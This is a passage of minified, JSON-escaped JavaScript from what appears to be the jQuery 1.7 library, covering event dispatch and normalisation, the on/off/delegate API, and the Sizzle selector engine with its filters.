d=(f._data(this,\"events\")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive\u0026\u0026!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e\u0026\u0026(!c.button||c.type!==\"click\")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k\u003ce;k++)s=d[k],t=s.selector,p[t]===b\u0026\u0026(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]\u0026\u0026r.push(s);r.length\u0026\u0026j.push({elem:m,matches:r})}}d.length\u003ee\u0026\u0026j.push({elem:this,matches:d.slice(e)});for(k=0;k\u003cj.length\u0026\u0026!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l\u003cq.matches.length\u0026\u0026!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace\u0026\u0026!s.namespace||c.namespace_re\u0026\u0026c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b\u0026\u0026(c.result=o,o===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()))}}i.postDispatch\u0026\u0026i.postDispatch.call(this,c);return c.result}},props:\"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){a.which==null\u0026\u0026(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null\u0026\u0026d.clientX!=null\u0026\u0026(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f\u0026\u0026f.scrollLeft||g\u0026\u0026g.scrollLeft||0)-(f\u0026\u0026f.clientLeft||g\u0026\u0026g.clientLeft||0),a.pageY=d.clientY+(f\u0026\u0026f.scrollTop||g\u0026\u0026g.scrollTop||0)-(f\u0026\u0026f.clientTop||g\u0026\u0026g.clientTop||0)),!a.relatedTarget\u0026\u0026i\u0026\u0026(a.relatedTarget=i===a.target?d.toElement:i),!a.which\u0026\u0026h!==b\u0026\u0026(a.which=h\u00261?1:h\u00262?3:h\u00264?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),a.metaKey===b\u0026\u0026(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:\"focusin\"},blur:{delegateType:\"focusout\"},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()\u0026\u0026c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?K:J):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=a\u0026\u0026a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c\u0026\u0026!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,\"form\"))return!1;f.event.add(this,\"click._submit keypress._submit\",function(a){var c=a.target,d=f.nodeName(c,\"input\")||f.nodeName(c,\"button\")?c.form:b;d\u0026\u0026!d._submit_attached\u0026\u0026(f.event.add(d,\"submit._submit\",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble\u0026\u0026(delete a._submit_bubble,this.parentNode\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"submit\",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,\"form\"))return!1;f.event.remove(this,\"._submit\")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type===\"checkbox\"||this.type===\"radio\")f.event.add(this,\"propertychange._change\",function(a){a.originalEvent.propertyName===\"checked\"\u0026\u0026(this._just_changed=!0)}),f.event.add(this,\"click._change\",function(a){this._just_changed\u0026\u0026!a.isTrigger\u0026\u0026(this._just_changed=!1,f.event.simulate(\"change\",this,a,!0))});return!1}f.event.add(this,\"beforeactivate._change\",function(a){var b=a.target;z.test(b.nodeName)\u0026\u0026!b._change_attached\u0026\u0026(f.event.add(b,\"change._change\",function(a){this.parentNode\u0026\u0026!a.isSimulated\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"change\",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!==\"radio\"\u0026\u0026b.type!==\"checkbox\")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,\"._change\");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a==\"object\"){typeof c!=\"string\"\u0026\u0026(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null\u0026\u0026e==null?(e=c,d=c=b):e==null\u0026\u0026(typeof c==\"string\"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1\u0026\u0026(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a\u0026\u0026a.preventDefault\u0026\u0026a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+\".\"+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a==\"object\"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c==\"function\")d=c,c=b;d===!1\u0026\u0026(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||\"**\",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,\"**\"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,\"lastToggle\"+a.guid)||0)%d;f._data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.on(b,null,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0),C.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!=\"string\"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length\u003e0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1\u0026\u0026!g\u0026\u0026(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=\"sizcache\"+(Math.random()+\"\").replace(\".\",\"\"),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\\\/g,k=/\\r\\n/g,l=/\\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(\"\"),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length\u003e1\u0026\u0026p.exec(b))if(w.length===2\u0026\u0026o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]\u0026\u0026(b+=w.shift()),j=y(b,j,f)}else{!f\u0026\u0026w.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!v\u0026\u0026o.match.ID.test(w[0])\u0026\u0026!o.match.ID.test(w[w.length-1])\u0026\u0026(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1\u0026\u0026(w[0]===\"~\"||w[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length\u003e0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q=\"\",r==null\u0026\u0026(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)===\"[object Array]\")if(!u)e.push.apply(e,k);else if(d\u0026\u0026d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]\u0026\u0026(k[t]===!0||k[t].nodeType===1\u0026\u0026m.contains(d,k[t]))\u0026\u0026e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]\u0026\u0026k[t].nodeType===1\u0026\u0026e.push(j[t]);else s(k,e);l\u0026\u0026(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length\u003e0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e\u003cf;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(j,\"\"),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c\u0026\u0026c[0]\u0026\u0026m.isXML(c[0]);while(a\u0026\u0026c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null\u0026\u0026f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)===\"\\\\\")continue;s===r\u0026\u0026(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j\u0026\u0026(i=k(j,f,n,s),p=e^i,d\u0026\u0026i!=null?p?g=!0:s[n]=!1:p\u0026\u0026(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],\"\");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e=\"\";if(d){if(d===1||d===9||d===11){if(typeof a.textContent==\"string\")return a.textContent;if(typeof a.innerText==\"string\")return a.innerText.replace(k,\"\");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8\u0026\u0026(e+=n(c));return e},o=m.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!l.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026m.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!l.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026m.filter(b,a,!0)}},\"\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"parentNode\",b,f,a,d,c)},\"~\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"previousSibling\",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(j,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,\"\")},TAG:function(a,b){return a[1].replace(j,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,\"\");!f\u0026\u0026o.attrMap[g]\u0026\u0026(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(j,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||n([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case\"only\":case\"first\":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k===\"first\")return!0;l=a;case\"last\":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case\"nth\":c=b[2],e=b[3];if(c===1\u0026\u0026e===0)return!0;f=b[0],g=a.parentNode;if(g\u0026\u0026(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1\u0026\u0026(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0\u0026\u0026j/c\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||!!a.nodeName\u0026\u0026a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":!f\u0026\u0026m.attr?d!=null:f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return\"\\\\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+o.match[r].source.replace(/\\\\(\\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var e=a.length;c\u003ce;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(o.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(o.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=m,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){m=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!m.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026o.find.CLASS\u0026\u0026e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return s([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var k=e,l=e.getAttribute(\"id\"),n=l||d,p=e.parentNode,q=/^\\s*[+~]/.test(b);l?n=n.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",n),q\u0026\u0026p\u0026\u0026(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll(\"[id='\"+n+\"'] \"+b),f)}catch(r){}finally{l||k.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;o.order.splice(1,0,\"CLASS\"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var y=function(a,b,c){var d,e=[],f=\"\",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,\"\");a=o.relative[a]?a+\"*\":a;for(var h=0,i=g.length;h\u003ci;h++)m(a,g[h],e,c);return 